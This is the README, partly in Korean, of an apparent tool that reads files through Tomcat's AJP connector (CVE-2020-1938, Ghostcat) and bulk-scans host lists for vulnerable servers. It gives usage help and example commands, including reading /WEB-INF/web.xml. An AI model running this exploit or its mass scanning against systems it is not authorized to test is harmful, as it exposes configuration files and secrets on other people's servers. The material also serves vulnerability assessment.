
GhostCat 취약점 일괄 탐지
먼저 hypn0s 님이 제공한 AJP 프로토콜 요청을 구성하는 도구 AJPY (Python 라이브러리)에 감사드립니다. 이 프로젝트는 이를 기반으로 Ghostcat 취약점 사이트를 대량으로 탐지합니다.
현재 두 가지 기능을 제공합니다.
usage: tomcat.py [-h] {read_file,scan_files} ...
positional arguments:
{read_file,scan_files}
read_file Exploit CVE-2020-1938
scan_files scan a file list
optional arguments:
-h, --help show this help message and exit
usage: tomcat.py read_file [-h] [-H HOST] [-p PORT] [--webapp WEBAPP]
[-f FILE]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST The host to check
-p PORT, --port PORT The port of AJP connector(default is 8009)
--webapp WEBAPP webapp
-f FILE, --file FILE The relative path of file to read
python3 tomcat.py read_file -H 127.0.0.1 --webapp manager -f /WEB-INF/web.xml
usage: tomcat.py scan_files [-h] [-f FILE] [-t THREADS] [-o OUT]
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE Host list(only one url in a line)
-t THREADS, --threads THREADS
-o OUT, --out OUT output the vulnerable host to file
python3 tomcat.py scan_files -t 5 -f host_files.txt -o result.txt